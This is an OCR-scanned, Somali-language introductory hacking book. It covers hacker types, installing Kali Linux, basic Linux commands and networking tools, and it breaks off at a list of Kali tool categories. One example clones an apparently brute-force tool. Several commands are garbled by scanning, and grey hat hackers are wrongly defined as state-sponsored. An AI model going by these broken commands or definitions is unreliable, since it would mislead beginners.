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Buugan waxa waye buug aad uqgaliya oo aad ka baran karto cilmiaad u
galiya mantadan aan joogno ee waxa walba ku xidhanyay internetga
kaso aan sanadadan danbe aad u si hormaraya ha calamkan
technolagyga ee manta ku suganay waa miid aad u isbadal badan
marka la raba in dhanka securityga la hormariyo taso uu bugani ka

cawinayo.

Buugan waxa loon gu tala galay qof kasto xisaynaya inu barto cilmiga
hackinga ama inu noqdo hacker da,da doonaba ha hado ama cimri
kasta ha hado.

Buugan waxa aad ka helaysa cilmi manta lagu tilmami karo hubka
casriga marka waa muhiim inaad u adeeg sato dhanka wanaga oo

shaywalba waxa uu leeyay dhan wanagsan ama dhan xun.

Buugan hadad wakhti iyo dadal galiso waxan huba inaad ka midho
dhalinayso ha sababto ah waxan ugu talagalay inuu si fudud aad ku

baratiid hacking oo u isticmali kartiid
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I sorali Hacker 101
Chapter 1
Xalkan ka bil ?

Marka ugu horaysa waa inaad barato linux waxa
uu yahay iyo nocyadiis kala duwan marka aan

hada bilaabo oo aan falageeyo waxa uu yahay

linux iyo tarikh diisa ha shay walba tariikh ayuu

leeyay soo maha.

Waa maxay linux ?

Linux waa oprator system sida windows oo kale lakiin waxa uu
kaga duwanyahay ninkii sameeyay ee lagu magacabo Linus Torvalds
waxa uu ka dhigay open source taaso ah inuu free yahay oo uu
developer kasta uu nashqgadiisa ka soo saran karo .

Sababtasa keentay inuu ka jiro noocyo kala duwan oo linux ah
sida kali ee ay isticmalaan hackers gu marka nocyada oo gu cansan

dhanka hacking ga waa

1 Kalilinux
2 Parroto linux
3 Black box
4 Black arch

Nocyada aan soo sheegnay waa ku wa loo talagalay inaay isticmalan

hackers gu iyo dadka ku takhusay cyber security ga hadaba waxad
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magqlaysa aano ku leh hacker hackers lakiin wali kuma sheegin

macnaheeda.

Waa maxay hacker ?

Hacker waxa loo yagana inuu yahy qof u leh khibrad inuu system inu
sikasta ka yeeli karo taaso ah inu jabasan karo ama badali karo , hadaba
hacker ka dad ku waxa ay moodan hacakerka inu yahay tuug sababto ah

wakan wax jabsanaya .

Maal mahan danbe waxa aad arkaysa inu hacker ku nogday

xirfad ,hub iyo shaqo

Oo waxaad arkaysa inuu shirkadaha iyo wadamadu ay shaqo ay ka
dhigeen iyo waxaad arkaysa inu cidamada dalalka qaar aay uu tobaran
sidi cidanko kale taso waxa laga baqya inu dagaka 3ad ee adunku ka

bilaabmo cumputerka .

Hacker ka waxa jira sadex nooc oo kala ah white hat hacker, black
hat hacker iyo grey hat hacker ku waso xirfada uu isticmala siyaabo kala

duwan imko kale

White hat hacker waxa uu u shageeya shirkadaha ama waxa jira

shirkado sida hacker 1 oo kireeya hackers ga marka muhimadoo du
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tahay inay ay bug ka ee gan web site ama ay shirkada ka cawiyainla
jabsado makacyadooda loo yagana waa BUG BOUNTEY oo buga ka
radiya websitga PENTESTSTER oo ah qof ka u gaabilsan dhanka cyber
securityga

Black hat hacker waa hacker ka ku dhiba teeya aqoon tiisa dadka ama
shacabka ee account aanu lahayn gaata web site ika jabsado oo kala
baxa xoogo muhiima ama website ga hawada ka sara ama dark web ku
iibiya siraha dadka iyo wadamadaba ku waso hada la gabto lagu
xukumayo sanado badan oo xaabsiy , kuwa hacking gareya ee script
ana qorin waxa loo yagan scripr kids waxa ka mida ku qof intay account

ka jabsadan sawirantiisa ku fadexya

Gray hat hacker waa hacker ka tirsan dawld haba hado milatari ama
sida hayad ka soco ta dawalad oo qof ka u gofku ha xun yay ama inkale
xoga hiisa way jabsadan waxa ka mida north korea hackers kuwas

dawlada ka socda oo shirkado badan hacking gareeyay.

Hadaba waxan la soo dagayna kali lakin kad rabriid waa la soo dagi
karata ee hore ku soo sheegay, kali waa ka oo gu fudud dhaanka

biginarka oo isga la soo dag hadanad wali bilow tahay .
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Sida loo la soo dago linux iyo kali

linux

Siyaaboyin badanba loo la soo daga kali ama linux kale ayaa jira
marka lakiin 3 00 gu wanag san ama 0o gu cansan ayaa eegayna,marka

talaboyinkan rac si wanagsan si aad wax cilada ku arag .

1.Sida loo la soo dago kali (qabka oo gu wanag san)

e Marka ugu horaysa wa inaad ka kala soo dagto kali iso website ga

https://kali.org/downloads ka doro ka ugu sareya ee ah kali-linux-64bit(installer

Kali Linux 2021.1 Release Notes ?

Image Name Torren t Size  SHA256sum

Kali Linux 64-Bit (Installer) Torren t 406 i
hl -

Kali Linux 64-Bit (Live) Torren t 346 Lo
B4 sicses
BH

(For Apple M1)

Kali Linux ARM64 (Installer) Torren t 326 e
4

e Kadib waxa tagta website ga https://rufus.ie kala soo dag rufus

inux 64-Bit (NetInstaller) Torren t 379M e

e Markaad lasoo dagro waxaad ubahanaysa usb flsash oo ah ugu yaraan 4G kadib rufus gal
oo mesha select tabo 0o so select gare filekii kali.iso marka start dheh marku dhameeyo
computerka bakhdii (la so co filashii way ka baxayaan ee hadad rabin gabka xiga usoo
dag) marakaad shidayso bios ga tag (computer kaga ku xidhantahay ana markaan
shidayo waxan tabta F10 ) kadib waxaad ka dhigta boot optionka inu 0o gu sareeyo boot

form usb


https://kali.org/downloads
https://rufus.ie/
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| KALI I

Grophical install

e BRUB Command ') frie

e hadaba waxaad arkaysa sceenka ka dooro graphic installer oo buuxu buuxi sida
wakhdiga account nameka iyo password ka (la soco waa inaad xasuus natid account

name ka iyo passworkaba hadhow waa ubahanaysa)

Hadaba markaad gashid sii aad u update gareyso gali amaradan kali terminallka

R (=) T ceosc@ial - asMO 4 8|@C

ceonde@iolis
File Actions EdRt View Help
caos3calieliz-$ sudo apt update 8 sudo apt upgrade -y
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2.Sida loo gu shubto vertual machine

e waxaad tag ta bios ga computer ka kadib vertualasim ka

enable ka dhig
¢ lasoo dag hypervisor software sida vmbox iyo vmware
« kadib la soo dag kali vmbox img ama vmware img adigo
khanada hose https://kali.org/downloads tagaya

Download Kali Virtual Machines

Kali Linux VMware ‘/

@ Kali Linux VirtualBox
OFFENSIVE SECURITY VM DOWNLOAD PAGE

e Markaad lasoo dagto waxaad arki file huruda oo ku
goranyay .oven ka tabo toos bu kugu soo dagaya start
machine tabo ka dib waa ku galaya hadu password ama user
name ku waydiyo waa kali wixi inta dheer website ga
fikrado ka soo eeg (https://fikrado.ml)
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3. Sida windows supsystem linux (WSL) loo gu soo shubto

e lasoodagWSL 2

e ku kici POWERSHELL as administrator

. Power shell gali : Enable-WindowsOptionalFeature -Online -
FeatureName Microsoft-Windows-Subsystem-Linux

e RESTART computer ka

. Power shell gali : dism.exe /online /fenable-feature

[featurename:VirtualMachinePlatform /all /norestart

« Power shell gali : dism.exe /online /enable-feature
[featurename:Microsoft-Windows-Subsystem-Linux /all /norestart
e RESTART computer ka

« Download Linux Kernel: https://aka.ms/wsl2kernel

« Power shell gali : wsl --set-default-version 2

e 2. Windows store ka la soo dag kali linux app oo intan gali
e sudo apt update && sudo apt upgrade -y
¢ sudo aptinstall kali-desktop-xfce -y

e Siaad desktop kali oo lasoo dagto kaliintan gali
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« sudo aptinstall xrdp -y

e sudo service xrdp start

e Siaad oo la xidhidhisid gali

¢ sudo ifconfig

e Kadinb IP copy si oo tag start menu ga

e Kadib doro remote desktop oo gali IP ga kali
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Chapter 2

Amarada linux ee hacker

kasta u bahan yahay

Hadaba waxa and ogayn in u ku shageeyo linux
amaro kala duwan oo wax loo yagan terminal leyay —

kasoo aad galinay sid amarada ama waa xashida ay

isticmalan hackers ga filamada aad ku aragto .

Hadaba terminalka furo si aan u bilaabno isganad wakhtiga ugu
badan ku gadan doonta oo waa fura hacker kasta uu isticmalo,
markasto aad isticmashana waxay ku kordhinaysa skills gagaka sababto
ha linux waxa laga ma mula terminalka oo waxaad rabtid terminalka
ayaad galinaysa marka mid mid aan u dhigno amarada linux ku wa

hackers iyo kuwa kaleba

Marka ugu horaysana waxan eegayna diracrorisga ugu horeya
ama filesha ugu muhiimsan ee linux ku waso aad ku la kulmi doonto

termonalka
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Diractory ga ugu muhimsan linux

/ - The Root Directory A

Wax kasta oo ku jira nidaamkaaga | an,| <= ’m EEAEN
Linux waxay ku yaalliin / galka, 0o ':“T:[ m:__:t;l l = ﬁf:_.f....T
loo yagaan galka asalka. Waad ka - | v
fikiri kartaa / galka inuu lamid yahay ] [ i M .

aare wander here

diiwaanka C: \ ee Windows - laakiin tani dhab ahaan sax uma ahan,
maadaama Linux aysan lahayn waraaqo wadis. In kasta oo gayb kale
laga heli doono D:\ on Windows, gayb kale ayaa ka soo muugan doonta

galka kale hoostiisa / Linux.

/bin - Essential User Binaries

Buugga / bin wuxuu ka kooban yahay binaries isticmaalaha muhiimka
ah (barnaamijyada) waa inay jiraan marka nidaamka lagu dhejiyo gaab
hal isticmaale. Codsiyada sida Firefox waxaa lagu keydiyaa / usr / bin,
halka barnaamijyada muhiimka ah ee nidaamka iyo yutiilitida sida bash
shell ay ku yaalliin / bin. Buugga / usr waxaa lagu kaydin karaa qayb kale
- iyadoo la dhigayo feylashaas galka / bin buugga waxay hubineysaa in
nidaamku yeelan doono adeegyadan muhiimka ah xitaa haddii aysan
jirin nidaamyo kale oo feyl ah. Buugga / sbin-ku waa lamid yahay -

wuxuu ka kooban yahay laba-maamul maamul muhiim ah.
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/boot - Static Boot Files

Buugga / boot buuggu wuxuu ka kooban yahay faylasha loo baahan
yahay si loo kiciyo nidaamka - tusaale ahaan, faylasha kaydka bootka ee
'GRUB bootloader' iyo kernel-kaaga Linux ayaa halkan ku kaydsan.
Faylasha gaabeynta bootloader-ka kumbuyuutarka halkan kuma yaallo,

in kastoo - waxay ku jiraan / iwm faylasha qaabeynta kale.

/etc - Configuration Files

Buugga / etc ama iwm wuxuu ka kooban yahay feylasha qaabeynta, oo
guud ahaan lagu tafatiri karo gacanta tifaftiraha qoraalka. Xusuusnow

in galka / iwm / galka uu ka kooban yahay feylasha qaabdhismeedka oo
dhan - feylasha gaabeynta isticmaale-qaaska ah waxay ku yaalliin galka

guriyaha isticmaale kasta.

/home - Home Folder

Buugga / home wuxuu ka kooban yahay galka guriga isticmaale kasta.
Tusaale ahaan, haddii magacaaga isticmaale uu yahay bob, waxaad
leedahay galka guriga oo ku yaal /home / bob. Faylka guriga waxaa ku
jira faylasha xogta isticmaaleyaasha iyo feylasha gaabeynta isticmaale-
gaar ah. Isticmaal kastaa wuxuu kaliya helaa fursad uu ku qoro galka
gurigiisa waana inuu helaa rukhsad sare (noqo isticmaale xididka) si uu
wax uga beddelo faylasha kale ee nidaamka.
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/opt - Optional Packages

Buugga / opt opt wuxuu ka kooban yahay hoosaadyo xirmooyinka
barnaamijyada ikhtiyaariga ah. Waxaa caadi ahaan loo isticmaalaa
softiweeriyada macaamiisha ah ee aan adeecin nidaamka caadiga ah ee
nidaamka faylka - tusaale ahaan, barnaamijka lahaanshaha ayaa laga

yaabaa inuu faylalka ku daadiyo / opt / codsi markaad rakibayso.

/usr - User Binaries & Read-Only Data

Buugga / usr wuxuu ka kooban yahay codsiyo iyo feylal ay adeegsadaan
dadka isticmaala, kana soo horjeedda codsiyada iyo feylasha uu
adeegsado nidaamka. Tusaale ahaan, codsiyada aan muhiimka ahayn
waxay ku yaalliin gudaha / usr [ bin directory halkii laga heli lahaa / bin
bin iyo binaries nidaamka maamulka aan muhiimka ahayn waxay ku
yaalliin liistada / usr / sbin halkii laga heli lahaa / sbin galka.
Maktabadaha mid waliba wuxuu ku yaal gudaha tusaha / usr/ lib.
Buugga / usr wuxuu sidoo kale ka kooban yahay tusayaal kale - tusaale
ahaan, feylallo madaxbannaan dhismeedka sida sawirada waxay ku
yaalliin [ usr /[ share.

Buugga / usr / maxalliga ah waa halka codsiyada maxalliga ah laga soo
ururiyey ay ugu shubmayaan si caadi ah - tani waxay ka hortageysaa

inay xirxiraan inta ka hartay nidaamka.
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Amarada ugu muhimsan linux

1. pwd

Adeegso amarka pwd-ka si aad u ogaato
dariiga hagaha shagada ee hadda jira

(galka) aad ku jirto. Amarku wuxuu soo

celin doonaa waddo dhammaystiran
(buuxa), taas oo asal ahaan ah waddo dhammaan hageyaasha oo ka
bilaabmaya isugeyn hore (/). Tusaalaha dariiga dhabta ahi waa

[home/username.

2. cd

Si aad ugu dhex wareegto faylasha Linux iyo tilmaamaha, isticmaal
amarka cd. Waxay ubaahantahay wadada buuxda ama magaca galka,

waxay kuxirantahay hagaha shaqada ee hada aad kujirto.

Aynu dhahno waxaad ku jirtaa /Thome/username/Documents iyo
waxaadna dooneysaa inaad tagto Photos, oo ah gayb hoosaad
Dukumiintiyo. In sidaa la yeelo, si fudud u gor amarka soo socda: cd
Photos.

Muugaal kale ayaa ah haddii aad rabto inaad u beddesho tusaha gabi
ahaanba cusub, tusaale ahaan, /home/username/Movies. Xaaladdan oo
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kale, waa inaad ku qortaa cd oo ku xigta hagaha dariiga toosan: cd

[home/username/Movies.

Waxaa jira dariigyo-toobiyeyaal kaa caawinaya inaad si dhakhso leh u

dhex mara:

e cd .. (oo leh laba dhibic) si aad ugu guurto hal tusaha kor
e cdinuu toos ugu aado galka guriga

e cd- (oo wata xarfaha) si aad ugu guurto diiwaankaagii hore

Xusuusin dhinac ah, qolofka Linux waa kiis xasaasi ah. Marka, waa inaad

ku gortaa galka magaca sida saxda ah.

3.1s

Amarka Is waxaa loo isticmaalaa in lagu daawado waxa ku jira galka.
Sida caadiga ah, amarkan wuxuu soo bandhigi doonaa waxa ku jira

galkaaga shagada ee hadda jira.

Haddii aad rabto inaad aragto waxa ku jira buugyaraha kale, ku qgor Is ka
dibna jidka hagaha. Tusaale ahaan, Is

/home/username/Documents ,waxay soo saraysa Documents.
Waxaa jira kala duwanaansho aad ku isticmaali karto amarka Is:

¢ |s-R wuxuu qori doonaa dhammaan faylasha ku jira hoosaadyada
sidoo kale

¢ |s-awuxuu soo bandhigi doonaa feylasha garsoon

¢ |s-al wuxuu liis garayn doonaa faylasha iyo buuggaagta oo leh
macluumaad faahfaahsan sida rukhsadaha, cabbirka, milkiilaha,

iwm.
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4. cat

Cat (gaabin loogu talagalay concatenate) waa mid ka mid ah amarrada
inta badan la isticmaalo ee Linux. Waxaa loo isticmaalaa in lagu qoro
waxa ku jira feylka ku jira soosaarka caadiga ah (sdout). Siaad u
socodsiiso amarkan, qor cat waxaa ku xiga magaca faylka iyo

kordhintiisa. Tusaale ahaan: cat file.txt.
Waa kuwan siyaabo kale oo loo isticmaalo amarka cat:

e cat> filename wuxuu abuuraa fayl cusubbisadda filenameax
filename2> filename3 waxay ku biirtaa laba fayl (1 iyo 2) waxayna
kaydisaa wax soo saarkooda fayl cusub (3)

e Si Ioogu badalo feyl loo adeegsado kiiska sare ama kan hoose, cat filename | tr a-z A-Z> wax

SO0 sara output.txt

5.cp

Adeegso amarka cp ga si aad uga nuquliso ama copy siso faylasha galka
hadda jira una aado galka kale. Tusaale ahaan, amarka cp scenery.jpg
/home/username/Pictures ayaa abuuri doona nuqul ka mid ah
scenery.jpg (laga soo gaatay galkaaga hadda) galka sawirada.
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6.mv

Adeegsiga aasaasiga ah ee amarka mv waa in la dhaqaajiyo faylasha, in

kasta oo sidoo kale loo isticmaali karo in dib loogu beddelo faylasha.

Doodaha mv waxay la mid yihiin amarka cp. Waxaad u baahan tahay
inaad qorto mv, magaca feylka, iyo galka taga meesha loo socdo.

Tusaale ahaan: mv file.txt /home/username/Documents.

Si aad ugu magacawdo faylasha, amarka Linux waa : mv

magacahore.ext magacalagubadalayo.ext

7. mkdir

Adeegso amarka mkdir si aad u sameyso tusaha cusub - haddii aad

gorto mkdir Music wuxuu abuuri doonaa buug loo yagaan 'Music'.
Waxaa jira amarro mkdir dheeri ah sidoo kale:

e Siaaduabuurto buug cusub oo ku dhexjira buug kale, isticmaal
amarka aasaasiga ah ee Linux mkdir Music / Newfile

e isticmaal ikhtiyaarka p (waalidiinta) si aad ugu sameysato buug
hage u dhexeeya labada hage ee jira. Tusaale ahaan, mkdir -p

Music [ 2021 / Newfile wuxuu abuuri doonaa feylka "2021" cusub.
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8. rmdir

Haddii aad u baahan tahay inaad tirtirto buugga, adeegso amarka
rmdir. Si kastaba ha noqotee, rmdir kaliya ayaa kuu oggolaanaya inaad

tirtirto tusaha maran.

9.rm

Amarka rm waxaa loo isticmaalaa in lagu tirtiro tusaha iyo waxyaabaha
ku dhex jira. Haddii aad kaliya rabto inaad tirtirto galka - bedel ahaan

rmdir - isticmaal rm -r.

Fiiro gaar ah: Aad uga taxaddar amarkan oo laba jeer hubi buugga aad
ku jirto. Tani waxay tirtiri doontaa wax walba 0o mana jiraan wax dib u

noqda.

10. touch

Amarka touch ayaa kuu oggolaanaya inaad ku abuurto feylal cusub oo
maran iyada oo loo marayo khadka amarka Linux. Tusaale ahaan, gali
touch fhome/username/Documents/Web.html si aad u abuurto feyl

HTML cinwaankiisu yahay Webka hoostiisa Documents directory.
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11. locate

Waxaad u adeegsan kartaa amarkan si aad uhesho feyl, sida amarka
locate ee Windows. Waxaa intaa dheer, isticmaalka doodda -i oo uu
weheliyo amarkani waxay ka dhigi doontaa kiis-dareen la‘aan, markaa

waad raadsan kartaa feyl xitaa haddii aadan xusuusan magaciisa saxda
ah.

Si aad u raadiso feyl ka kooban laba erey ama in ka badan, isticmaal
xiddig (*). Tusaale ahaan, locate -i school*note wuxuu raadinayaa fey!

|II

kasta oo ay kujiraan ereyga “school” iyo "note", hadey nogoto mid

weyn ama mid yar.

12. find

Sila mid ah amarka locate, adoo adeegsanaya find sidoo kale faylasha
iyo tilmaamaha. Fargiga ayaa ah, waxaad adeegsaneysaa amarka

helitaanka si aad uhesho feylasha kujira tusaha lasiiyay.

Tusaale ahaan, amarka find /home/ -name notes.txt wuxuu raadin
doonaa feyl la yiraahdo note.txt oo ku dhex jira galka home iyo

hoosaadyadiisa.
Kala duwanaanshaha kale ee la isticmaalayo find ayaa ah:

e Siaaduga hesho faylalka ku jira galka hadda jira, raadi. -
sheegyada magaca.txt

e Siaaduraadiso diiwaanka adeegsiga, / -type d -name notes. Txt
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13. grep

Amar kale oo aasaasi ah Linux oo shaki la'aan caawimaad u leh
adeegsiga maalin kasta waa grep. Waxay kuu ogolaaneysaa inaad

raadiso dhammaan qoraalka ku jira feyl la siiyay.

Si loo muujiyo, grep notepad.txt buluug ah ayaa ku raadin doona
ereyga buluugga faylka qoraalka. Khadadka ay ku jiraan ereyga la

raadiyay ayaa si buuxda loo soo bandhigi doonaa.

14. sudo

Gaaban "SuperUser Do", amarkani wuxuu awood kuu siinayaa inaad
gabato hawlo u baahan rukhsad maamul ama root. Si kastaba ha
noqotee, laguma talin karo inaad v isticmaasho amarkan adeegsiga
maalin kasta maxaa yeelay way fududaan kartaa galadku inuu dhaco

haddii aad khalad samaysay.

15. tar

Amarka tar ayaa ah amarka uqgu isticmaalka badan ee lagu xareeyo
faylal badan oo loo yagaan 'tarball' - oo ah gaab fayl ah oo Linux ah oo

la mid ah qaabka zip, iyadoo riixitaanku yahay ikhtiyaari.

Amarkani waa mid aad v adag oo leh liis dheer oo hawlo ah sida ku
darista faylal cusub galka jira, liis garaynta waxyaabaha ku jira, ka soo

saarista waxyaabaha ku jira armaajo, iyo qaar kaloo badan.
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16. chmod

chmod waa amar kale oo Linux ah, oo loo isticmaalo in lagu beddelo
akhriska, qorista, iyo fulinta rukhsadaha faylasha iyo tusaha. Maadaama

amarkan uu yahay mid aad v adag.

17. ping

Adeegso amarka ping-ka si aad u hubiso heerka isku xirnaanta ee
serverka. Tusaale ahaan, adoo si fudud u galaya ping google.com,
amarku wuxuu hubinayaa inaad awood u leedahay inaad la xiriirto

Google iyo inaad sidoo kale cabirto wagtiga jawaabta.

18. wget

Laynka amarka Linux waa mid aad u faa'iido badan - xitaa waxaad kala
s00 bixi kartaa faylasha internetka adoo kaashanaya taliska wget. In

sidaa la yeelo, si fudud u qor wget oo ay ku xigto xiriirinta soo dejintu.

19. uname

Amarka uname, oo loo soo gaabiyo Magaca Unix, wuxuu daabici
doonaa macluumaad faahfaahsan oo ku saabsan nidaamkaaga Linux

sida magaca mashiinka, nidaamka galliinka, kernel, iyo wixii la mid ah.
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20. top

Sida terminal u dhigma Task Manager ee Windows, amarka top wuxuu
soo bandhigi doonaa liistada geeddi-socodka socda iyo inta processor
kasta uu adeegsanayo. Aad ayey faa'iido u leedahay in lala socdo
isticmaalka kheyraadka nidaamka, gaar ahaan ogaanshaha geeddi-
socodka loo baahan yahay in la joojiyo maxaa yeelay wuxuu cunaaiilo

aad u tiro badan.

21. history

Markaad isticmaaleysay Linux waqti cayiman, waxaad si dhakhso leh u
ogaan doontaa inaad maamuli karto boqolaal amar maalin kasta. Sidan
oo kale, socodsiinta amarka history ayaa si gaar ah waxtar u leh haddii

aad rabto inaad dib u eegto amarrada aad horay u soo gashay.

22. man

Jahwareer ku saabsan shagada amarrada Linux qaarkood? Ha walwelin,
waxaad si fudud u baran kartaa sida loogu isticmaalo iyaga saxda ah
golofka Linux adoo adeegsanaya amarka man. Tusaale ahaan, galida

tail, man waxay muujin doontaa tilmaamaha gacanta ee amarka tail.
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23. echo

Amarkan waxaa loo isticmaalaa in lagu wareejiyo xogta gaar feyl.
Tusaale ahaan, haddii aad rabto inaad ku darto qoraalka, "Hello, my
name is John" fayl la yiraahdo name.txt, waxaad ku qori doontaa echo
Hello, magacaygu waa John >> name.txt

24. zip, unzip

U adeegso amarka zip-ka si aad ugu riixdo feylashaada galka keydka, oo

u adeegso unzip si aad uga soo saarto feylasha la siibto keydka dusha.

25. nano

Barnaamijkan waxaa loo isticmaali karaa in lagu saxo waxyaabaha ku
jira faylka. Waa mid ka mid ah tifaftirayaasha qoraalka la heli karo ee ka

hawlgala terminalka Linux

Ama waa ide terminalka sida vertual stido code ama pycharm
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Ku darista iyo ka saarista softiweerka

Linux & Amarada networka

Linux OS wuxuu kuu ogolaanayaa inaad maamusho softiweerka adoo

isticnaalaya terminaalka. Tani waxay ka duwan tahay Windows OS, oo

ku tiirsan rakibida xirmooyinka binary.

In kasta oo ay jiraan xirmooyinka rakibidda ee Linux, kuwa soo socdaa

waa siyaabaha ugu waaweyn ee barnaamijka loo maamuli karo:

Maamulaha xirmada APT: Maamulaha xirmada APT wuxuu
adeegsadaa barnaamijka apt-get si loo rakibo, looga saaro, dib loo
gaabeeyo loona hagaajiyo xirmooyinka jaban nidaamka Linux,
tusale ahaan : aptinstall vic , taso ku soo dajinaysa programka
vic , hadaad doonayso vertion mucayana ah na apt install vic
=4.2.9 ,taso ku soo dajinaysa vetionka 4.2.9

Maamulaha xirmada Aptitude: Maamulaha xirmada kartida
wuxuu adeegsadaa barnaamijka karti u leh inuu maareeyo (rakibo
oo ka saaro) softiweerka oo la mida apt, tusale : Aptitude install
vic

Maamulaha xirmada DPKG ama pkg: Maamulahan softiweerku
wuxuu adeegsadaa barnaamijka dpkg si uu ugu maareeyo
xirmooyinka softiweerka nidaamka Linux, tusale : pkg install vic
Si aad softwareka u remove garayso ka halaka install ka dhig

remove tusale ahaan : apt remove vic



_ Somali Hacker 101

waxa loo isticmalain loo la soo dago git reposotary marka waxad
samay naysa inaad repasotryga ka horaysisid git tusale:git clone
https://qithub.com/fikrado/JOKER-burtal-force

Maareynta shabakadu waa xirfad muhiim ah oo ku lug yeelan kara
galab iyo barnaamijyo fara badan oo bilowga ah ee ku saabsan ethical
hacking ay tahay inay bartaan Qaar ka mid ah amarradan ayaa hoos ku

taxan ee Maareynta shabakada ama Managing the network:

. ifconfig iyo iwconfig: Amaradaani waxaa loo adeegsan karaa in
lagu soo qaado ama hoos loogu dhigo isku xirnaanta shabakada -
ifconfig ee xiriirka Ethernet iyo iwconfig ee xiriirka wireless

« tcpdump: Amarkan waxaa loo isticmaali karaa in lagu falangeeyo
taraafikada shabakadaha ujeeddooyin kala duwan iyo in lagu soo
gabto taraafikada shabakadda faylka markii dambe si fiican loogu

falangeyn karo taraafikada gaarka ah.


https://github.com/fikrado/JOKER-burtal-force
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Nakhtin Guud

e kali linu kaligi maha cumputer ka kaliye ee lagu sameeyo hacking

waxa kale oo jira black box, parroto os iyo kawa kale.

e Linex terminalka ayaalaga mamula oo hadad tools u bahantahay
ama softi ware terminalkaad kala soo dagi adoo isticmalaya apt
IWM.

e Terminalka amaro ayaa uu leyay kuwaso midba shaqo gara gabto

¢ linux waxa uu ku kaydiya tools ga diraactaris ku waso mid walba

leeyay shaqo gara .

e waxa jira root user kaso ka dhigan mamulka guud ee computerka
hada root tahay waa mamulka ku ogo lanaya inaad wax la soo dag
to ama systemka wax ka baadasho .

e hadad doonayso root user istimaal sudo oo ka dhigan super user
do.
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Chapter 3
ISTICMALKA KALI

&
NOCYADA HACKINGA

Waxanad ka ogayn kali linux

*== Kali Linux waa

: gaybinta Debian-ka ku
| saleysan Linux ee

& loogu talagalay

tijaabinta horukaca

Penetration iyo
Auditing Security. Kali Linux waxay ka kooban tahay dhowr boqol oo
galab oo loogu talagalay howlaha kala duwan ee amniga
macluumaadka, sida Tijaabada Penetration, cilmi baarista amniga,
Computer Forensics iyo Reverse Engineering. Kali Linux waxaa soo
saaray, maalgeliyay oo dayactiray shirkadda 'Offensive Security', oo ah

shirkad hormood u ah tababbarka amniga macluumaadka.
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Kali Linux waxaa la sii daayay 13-kii Maarso 2013 iyada oo
dhameystiran, dib-u-dhiska kore ilaa hoose ee BackTrack Linux, iyadoo

gebi ahaanba u hoggaansan heerarka horumarinta Debian.

. In kabadan 600 oo ah qalabka baaritaanka laysku daro waxaa
kamid ahaa: Kadib markii aan dib u eegnay aalad kasta oo lagu
soo daray BackTrack, waxaan tirtiraynay galab aad u tiro badan oo
aan si fudud u shageynaynin ama soo labalaabey galab kale oo si
isku mid ah ama isku mid ah u shageynayay. Faahfaahinta waxa
kujira waxay kujiraan goobta Qalabka Kali.

- Bilaash (sida biirka oo kale) oo had iyo jeer waxay ahaan
doontaa: Kali Linux, sida BackTrack, gabi ahaanba waa lacag
la'aan waana had iyo jeer ahaan doontaa. Weligaa waligaa,
waligaa ma bixin doontid Kali Linux.

« Isha Furan ee Git: Waxaan u heellan nahay qaabka horumarka
isha furan, geedkeenna horumarineedna waa loo heli karaa
dhammaan si loo wada arko. Dhammaan koodhka ilaha ee gala
Kali Linux ayaa loo heli karaa qof kasta oo doonaya inuu wax ka
beddelo ama dib u dhiso xirmooyinka si uu ugu habboonaado
baahiyahooda gaarka ah.

« FHS waxay u hoggaansan tahay: Kali wuxuu u hoggaansamayaa
Nidaamka Nidaamka Nidaamka Nidaamka, oo u oggolaanaya
dadka isticmaala Linux inay si fudud u helaan laba-geesoodka,

taageerida faylasha, maktabadaha, iwm.
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. Taageerada qalabka wireless-ka oo aad u ballaaran: Bar dhibic
joogto ah oo leh geybinta Linux ayaa lagu taageeray isdhexgalka
wireless-ka. Waxaan u dhisnay Kali Linux si aan u taageerno
aalado badan oo wireless ah intii aan kari karno, taas oo u
oggolaaneysa inay si habboon ugu shageyso qalab kala duwan oo
kala duwan kana dhigaysa mid la jaangaadaysa USB-yo badan iyo
galab kale oo wireless ah.

« Kernel khaas ah, oo la dhejiyay cirbadeynta: Tijaabooyin ahaan
sida loo dhexgalo, kooxda horumarinta waxay inta badan u
baahan yihiin inay sameeyaan giimeynno wireless ah, sidaa
darteed kernelkeenu wuxuu leeyahay xirmooyinka cirbadeynta ee
ugu dambeeyay.

« Lagu soo saaray jawi aamin ah: Kooxda Kali Linux waxay ka
kooban tahay koox yar oo shagsiyaad ah kuwa kaliya ee lagu
kalsoon yahay inay baakado galaan isla markaana la falgalaan
meelaha wax lagu keydiyo, kuwaas oo dhammaantood lagu
sameeyo iyadoo la adeegsanayo hab maamuusyo badan oo
ammaan ah.

« Xirmooyinka GPG ee saxeexan iyo bakhaarrada: Xirmo kasta oo
Kali Linux ku jirta waxaa saxeexay shaqsi kasta oo horumar
sameeye ah oo dhistay oo sameeyey, iyo keydadka ayaa markaa
kadib saxeexaya baakadaha sidoo kale.

« Taageero lugado badan leh: In kasta oo aaladaha wax lagu qoro
ay u muuqgdaan in lagu qoro Ingiriis, waxaan hubinay in Kali ay
kujirto taageero run ah oo luugado badan leh, taasoo u
oggolaanaysa isticmaaleyaal badan inay ku shageeyaan afkooda

hooyo oo ay helaan aaladaha ay shagada ugu baahan yihiin.
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« Gebi ahaanba la habeyn karo: Waxaan si buuxda u
fahamsanahay in qof kastaa uusan ku raacsaneyn go'aannadeena
nagshadeynta, sidaas darteed waxaan uga dhignay sida ugu fudud
ee suurtagalka ah isticmaaleyaasheena xiisaha badan inay u
gaabeeyaan Kali Linux sida ay u jecel yihiin, illaa hoos illaa geedka.

« ARMEL iyo ARMHF waxay taageerayaan: Maaddaama
nidaamyada hal-ku-saleysan ee ku saleysan ARM sida Raspberry
Pi iyo BeagleBone Black, iyo kuwo kale, ay sii kordhayaan oo qgaali
yihiin, waxaan ognahay in taageerada ARM ee Kali ay u baahan
tahay inay ahaato mid xoogan sida aan awoodno, oo leh galab si
buuxda u shageeya oo loogu talagalay labada nidaam ee ARMEL
iyo ARMHF. Kali Linux waxaa laga heli karaa galab fara badan oo
ARM ah waxayna leedahay keydad ARM ah oo lagu dhex daray
gaybinta guud sidaa darteed aaladaha ARM waa la

cusbooneysiiyaa iyadoo lala wadaagayo geybaha intiisa kale.

OHAISHE®

security

INFORMATION

FOR PROFESSIONAL PENETRATION TESTERS

Hands-on Information Secunity Traning and ethical hacking
courses, with both live and provided by
Offensive Security. #OFFSEC | #PenTest| #training |
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Qalabka oo gu muhimsan

Ilyo nocyada hackinga

Waxa hadaba eegayna kali linux qalabka oo gu |

#® Favorites

muhiimsan iyo noocyada hacking aay gaysan karan iyo

.. . o Recently Used
warbixin dheeriya.

ttings

I Usual Applications
Q 01 - Information Gathering

W. I H k. % 02 - Vulnerability A

I re eSS a c I ng 03 - Web Application A
04 - Database Assessment
